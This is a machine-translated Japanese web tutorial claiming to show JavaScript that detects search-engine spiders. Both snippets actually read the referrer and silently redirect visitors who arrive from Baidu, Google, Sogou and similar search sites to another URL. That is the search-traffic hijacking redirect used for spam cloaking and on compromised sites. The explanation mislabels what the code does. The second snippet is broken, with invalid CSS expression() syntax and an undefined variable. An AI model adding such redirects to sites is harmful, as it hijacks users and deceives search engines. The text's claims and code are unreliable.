ホームページ > 記事 > ウェブフロントエンド > js は、アクセスが検索エンジン (スパイダー) からのものであるか、直接 access_javascript スキルからのものであるかをどのように判断しますか?
次の JavaScript スクリプト コードは、アクセスが検索エンジンからのものであるかどうかを判断できます。
コードは次のとおりです:
<script type="text/javascript"> if(window.name != 'ad_app6'){ var r = document.referrer; r = r.toLowerCase(); //转为小写 var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.'); var b = false; for (i in aSites){ if (r.indexOf(aSites[i]) > 0){ b = true; break; } } if(b) { self.location = '要跳转的网址'; window.adworkergo = 'ad_app6'; } } </script>
スパイダーの発生源を特定するために導入されたJSスクリプトは、本体のonloadに記述されています。つまり、ページがロードされたときに判断されます。コードは次のとおりです:
body {onload:expression( if(window.name!="Yang"){ var str1 = document.referrer; str1 = str1.toLowerCase(); var str6 = 'google.'; var str7 = 'baidu.'; var str4 = 'yahoo.'; var str8 = 'youdao.'; var str9 = 'sogou.'; var str5 = 'soso.'; if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9) >0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage) { self.location='http://www.abc.com/'; window.name="Yang"; } } );}
スパイダーの発生源を特定するこの JS メソッドは、使用するのが簡単ではありません。特に、より多くのスパイダー ソースを決定する必要がある場合、コードを記述するのはさらに面倒になります。